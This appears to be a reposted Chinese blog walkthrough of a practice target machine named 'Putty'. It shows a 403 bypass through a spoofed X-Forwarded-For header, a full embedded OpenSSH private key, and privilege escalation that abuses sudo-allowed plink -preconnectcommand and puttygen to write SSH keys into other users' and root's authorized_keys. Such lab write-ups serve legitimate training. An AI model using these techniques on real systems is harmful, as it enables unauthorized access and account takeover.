文章总结: 本文详细记录了针对名为Putty的靶机渗透测试过程。通过信息收集发现开放22和80端口,利用X-Forwarded-For头绕过403限制扫描到1.zip文件,其中包含PuTTY格式SSH私钥。将私钥转换为OpenSSH格式后登录brendon用户,再利用plink工具的preconnectcommand选项以rosers用户身份执行命令写入公钥实现横向移动。最后通过类似方法将公钥写入root用户完成提权。整个过程展示了从信息收集到权限提升的完整渗透链。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,实战经验,安全工具
群友靶机之Putty
原创
MS02423 MS02423
MS02423
2026年7月10日 11:01 甘肃
在小说阅读器读本章
去阅读
今天做做Sublarge佬的靶机,还是老思路,老步骤
一.信息收集
1.探测IP
靶机IP是192.168.137.96
2.探测端口
rustscan -a 192.168.137.96
我们可以看到端口是22和80,那么我们只能在80端口下手发现信息,然后在22端口进行登录即可
3.目录探测
gobuster dir -u http://192.168.137.96 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,,.log,.zip -t 50
刚开始没有扫描到任何东西,只是看见好多的403,我就没有管,我以为信息是在web界面上面,没有去关注403的。
二.访问IP
http://192.168.137.96/
刚开始我以为是dprod相关的漏洞,但是我去搜索发现没有这个dprod的,然后就去在web界面里面去查看,
发现了一些信息,尝试去登录什么的,结果还是没有的
之前Sublarge佬在群里提示不要忽略一些明显的扫描结果,看到扫描结果,那么就想到了403的。
三.渗透测试
1.403绕过
看到403,那么我们就想到了使用X-Forwarded-For: 127.0.0.1去绕过的,我们去试试看
gobuster dir -u http://192.168.137.96 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,,.log,.zip -t 50 -H "X-Forwarded-For: 127.0.0.1"
我们也可以去使用ffuf去扫描的
在 ffuf 里用 -fs 参数排除指定响应大小:我们可以看到好多都是27045,我们去排除即可
ffuf -u http://192.168.137.96/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e .php,.html,.txt,.bak,.log,.zip -t 50 -H "X-Forwarded-For: 127.0.0.1" -H "X-Original-URL: /FUZZ" -fs 27045
我们可以看到扫描出来了1.zip,我们去下载看看
2.下载1.zip
sudo curl -O http://192.168.137.96/1.zip -H "X-Forwarded-For: 127.0.0.1"
我们可以看到一个key.pak,里面是私钥,但是我们不能直接去使用的,我们扔给ai分析分析
3.PuTTY 格式的 SSH 私钥
ai告诉我这是一个 PuTTY 格式的 SSH 私钥(用户 brendon)。需要先转换成 OpenSSH 格式才能用。
我们知道用户名是brendon,需要我们去转换成 OpenSSH 格式才能使用
我们让ai写一个脚本即可
我们去连接私钥试试看
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcnNhAAAAAwEAAQAAAgEAttAzhlL9Sa77VfETo/EDYRLVBrTbYUZB990VHUSnVv77wX+MXoX27EVXHOBEMBRBhvLi+Ax9m8Vp6OvCQyu5TTkGqQK+UWIIqgXnd15YBYcZWgHb1falwu1eVXR72g9+w7URPuRJpOP7trBb2jCn0Tm/P/ZHt6Phd4aWRmHM1BK8bF/suFseabCJ94v0DLPIGENbMLZtCGj2pdoPxq3j/Qdyl4XvzXF4pjxeS7M0iIYueI9a5IeSxXkUbvy3AlXRe2uwvf4IUGrsCzjQ6bnwwt1pf6zr2ZwYGpdVkOK/qU3z3rNW7aMEc56PuXyBZpgiVmb0dqgvAtMkAvcyNHVMe7EfWftv+eLFmGHTtxz60Gh5QgiAfovMAZcJLWGX2T/3MEXgfDedi+mzaC/1AWzlinAEJDx1fgTF4VmzL9T5n9FQdgjlq2NxZoKREFeyAoH7ZymEoklHUIPDSj/SiTtJw4O5PhdXpE4uPA256N9OS9de3lGDvJ0obkf+DUnxzyfNUAzyO0yuK9l+BPbN7JfVk2+cLDXJHdxx/08Rv0mU7bfauYgaCYigwiNhSF6/Qcfl6e8k8O9oUHt9as32mgLXTHNjr8VZFAJAB6x7K1VALa/eHSeUo83+8toSBq+ON3St0yt+7OUGUbPBoH9OSETmhYfRGUQKSR1NdiBMd80Njx8AAAc4MoMPazKDD2sAAAAHc3NoLXJzYQAAAgEAttAzhlL9Sa77VfETo/EDYRLVBrTbYUZB990VHUSnVv77wX+MXoX27EVXHOBEMBRBhvLi+Ax9m8Vp6OvCQyu5TTkGqQK+UWIIqgXnd15YBYcZWgHb1falwu1eVXR72g9+w7URPuRJpOP7trBb2jCn0Tm/P/ZHt6Phd4aWRmHM1BK8bF/suFseabCJ94v0DLPIGENbMLZtCGj2pdoPxq3j/Qdyl4XvzXF4pjxeS7M0iIYueI9a5IeSxXkUbvy3AlXRe2uwvf4IUGrsCzjQ6bnwwt1pf6zr2ZwYGpdVkOK/qU3z3rNW7aMEc56PuXyBZpgiVmb0dqgvAtMkAvcyNHVMe7EfWftv+eLFmGHTtxz60Gh5QgiAfovMAZcJLWGX2T/3MEXgfDedi+mzaC/1AWzlinAEJDx1fgTF4VmzL9T5n9FQdgjlq2NxZoKREFeyAoH7ZymEoklHUIPDSj/SiTtJw4O5PhdXpE4uPA256N9OS9de3lGDvJ0obkf+DUnxzyfNUAzyO0yuK9l+BPbN7JfVk2+cLDXJHdxx/08Rv0mU7bfauYgaCYigwiNhSF6/Qcfl6e8k8O9oUHt9as32mgLXTHNjr8VZFAJAB6x7K1VALa/eHSeUo83+8toSBq+ON3St0yt+7OUGUbPBoH9OSETmhYfRGUQKSR1NdiBMd80Njx8AAAADAQABAAACAAQFQtzVaRSnGzKiAViTAwwDf1k3vmC+oXzIs/TXfwapckf90iHSDcLXKOSjBLI5/9GZTec+qb80nEZZyQVJKjjJ5EebSSw+XQpq5ChP6Yeq7PfPH/1DVhSaESpioXFY8zoX+q/IvYXkLbOwNT+bNQBOUNJ19tB8c4ekF3H80fsSs79+bJUGtqiEZW8No5RpRSFOJJdHASbfiBfQWpXNWpJEs6nOxvNcZ4GLGlfNMn6Tf4954k8xsXH+XmCtK36K/KHGQIuCfBRTWwBJg5lgVCyKSg5bcznEoRMUo6EdcNxRsTyt8l96PQLTSJM/wGjNN77Gt4xUg+l//e7Cw6vmWIQ7l+nDqXnbcgUEItizY1M2DauSq9hdsYseD5w/B+kYgS3aENTMFAE7CuFwtlkysyOL5bW/U+Zx5iuGKQX8CY8ycW8hrmSF6MVkkhcAh7VWUW2t066o1drfHIupUtgRZTSBhIrwnCdqTxMosVig0sPBrDILM2l3vrBk596TrRNWZcCjrewDHmu2yFcitgcyVCXBHpvy7+oebOiYcapoqFNV77l3E0dse2JAFKxox7/vFfJ6w9zLFsYIUe58YpczU04M/luoEhA3196OOlPRJvBIaeO1Kg6ceMhBNHylCX5pIGtmkvC7zANZjGINXGCx6PSO8HSvW28EAgfLY/IDrCXhAAABAQCZ4XnGCk7wYkr4eq0niyYg+eGGVhFTRfKWpXMJxO7O2R2ve49YEX1w+EMZkPmxA6MztWnn+H2dwf/h37PRtN/ZBK7sgAUM22/OO0tdKlseC5N9g0/hvSPrvGjpj7vLPaOVjoMSW0sjRZOhVqB8fapY8aQ8APKbFjvu1EhdesSO430mMzvgmztK8QyMpf814zT0bcVrEoeh6ZiastvgPjhLgp7RFmexNC4BoTW3KWRnnWoTU7MH0QWVdE3VtWRdBhU35hIQgtWIJ90H95GrETaNB0NA+9slEkNmx1N1dhXDkEfp/vzVjPg2SdPbXfddagc3DAhnQh1tZH933m+IiCYhAAABAQD9VCcDfhSaY9V4xz65bxzp4t2geAKXsSUOtBaZtoDmKYnCAqwAV6nOYWny4yFvhnxaiDvXfdAY50iBJbGEAIUFcWXba+9PtS9/26vVGlKE2GjV8CalqoM5HIOPGdKIhg3KmEC5QegTXJnAIyJEilFGnRXv2D6wNlbBb4EUaX02XeIFWq8j1w8HDL5hvtwuHdqcYOOXgbjtfogXK9bk6+KOrfNPXG4+GGIqMT62hszzuaV5qEl2A75Vsz55zTUPxInt+xFH5oZ2DmHqejccDKtQZZKPjJ3CZv6U3JMrC1LGDlJP4OlagL8q0UTt/rz36/wGEynI0irynB124TaV+uIVAAABAQC4vbI3EsfA8aoinqzNZg8ii67xfaSmU42+FEPH2jfVQUXKb2vhZwrFko8BqoUaNAdjLIS/I6ZCrCOP/T7lxo/IrjxiA+Gtb9jBcFFWECIDCiDMHYOZVoTj+eFbBatJ3WwQF2+LtwDxb83rOEmnMBn8Cz8iavVudQcFNR9aia3sCByL/ehVZ04abOi77VWAGFQweSPfqjJP+3RfhMeJWuUa5VyTyIetf106B7EQ3aDYz94G82DaF2frELhZp3R52ep9hWU48EB65ATSqTR+VhENYgWrnE+4V2kkZW779hW2LBRWWL/MdhgPQxP5yhZhSegEDGOOJMA/0g/xdTA7bN1jAAAAAAEC-----END OPENSSH PRIVATE KEY-----
我们可以看到连接成功的
4.rosers用户
接下来,我们的思路就是去获取rosers用户的shell的
我们可以看到一些帮助的
我们去使用他,去写入公钥
我们可以看到brendon用户里面有公钥
那么我们直接去写它的公钥即可
- 把 brendon 的公钥复制到 /tmp
cat /home/brendon/.ssh/authorized_keys > /tmp/pubkey.txt
- 用 plink 的 -preconnectcommand 选项以 rosers 身份执行命令
SSH 连接会因为密码错误失败,但 preconnectcommand 已经先执行了
sudo -u rosers /usr/bin/plink \ -preconnectcommand 'cat /tmp/pubkey.txt > /home/rosers/.ssh/authorized_keys && chmod 600 /home/rosers/.ssh/authorized_keys' \ -ssh -batch \ -hostkey 'SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY' \ -pw 'x' \ [email protected]
- 用 brendon 的私钥直接 SSH 登录 rosers
ssh -i brendon.key [email protected]
核心思路:
- sudo -u rosers /usr/bin/plink -preconnectcommand ‘命令’ → 以 rosers 身份在本地执行任意命令
- 利用这个把公钥写入 /home/rosers/.ssh/authorized_keys
- 然后直接用 SSH 密钥登录 rosers
我们可以看到登录成功的
5.提权root用户
一样的思路去看看帮助命令
OK,看明白了,我们直接使用他把公钥写入root用户里面即可
- 写 RFC4716 公钥文件
cat > /tmp/root_rfc.pub << 'PUBEOF'---- BEGIN SSH2 PUBLIC KEY ----Comment: "root@kali"AAAAB3NzaC1yc2EAAAADAQABAAACAQCrsUcnqCq7UZcCRORpcVUlnnUiji3W1+gU2zRB2OHUrEXYi7HfL1VP2+1YpolKI6KAuyItbUHJ9ejnbSb6zydGM/zgXq/M9Z7GjAAPCi9f6ezIZcv57nGnppw81fX0FV7x8DuDSoQgjjCs1JbSd6Cfe/C48v1zceIRP8F1ny8OxJMm9D2j/yB6URCVX/TrJ8sk9ue8KA+qhLhSGytENTNOt3DMpHjuv8X+3fgm+4o2PjTqWa3zvmCrIv7zf8Jq5O04y7uvyIH7vK4WejdZ9GHZzXtOyCx3Ewpr7ZX3WDC6FmAx7v3OVfmhN9yBvVdigIkLgd0QZrHHXnkbzOxxnrISWYLnqRl2DExY5pLYIpkRsNC4JMJNhiFkyoglwaeSY8NCSl0lwA0lt/TVBqIGV/sB2p1u/xRhuyOjaS6aLc1HlfzItdguM75NnGkKTa4dnJuqxQCH7+0x0Nk6/eXU59qvEGc4Lsd/cg+Un9ZzEajF/CwuFzPHLkISld87svcR2KLftokIUPeThCUKcg/VjbbogXTd9J77f0xF14WQvIFIX0js4x5XWVohsWD1nbn22TqnU+IWy9JbPvS78Hjta6pjvnIwZk7zjWsloL5gg6rQUgo/T5wPgF8KClIhM1UfcuxqHaCGtL+Fa6CwLkx+5FyFBbDFi0yoMgM5pBp2+tgLTQ==---- END SSH2 PUBLIC KEY ----PUBEOF
- 用 puttygen 写进 /root/.ssh/authorized_keys
sudo /usr/bin/puttygen /tmp/root_rfc.pub -O public-openssh -o /root/.ssh/authorized_keys
3.. 验证(完整长度应 >500 字符)
sudo /usr/bin/puttygen /root/.ssh/authorized_keys -O public-openssh | wc -c
- 测试 SSH 登录 root
ssh [email protected]
我们可以看到登录成功的
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423 MS02423《群友靶机之Putty》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论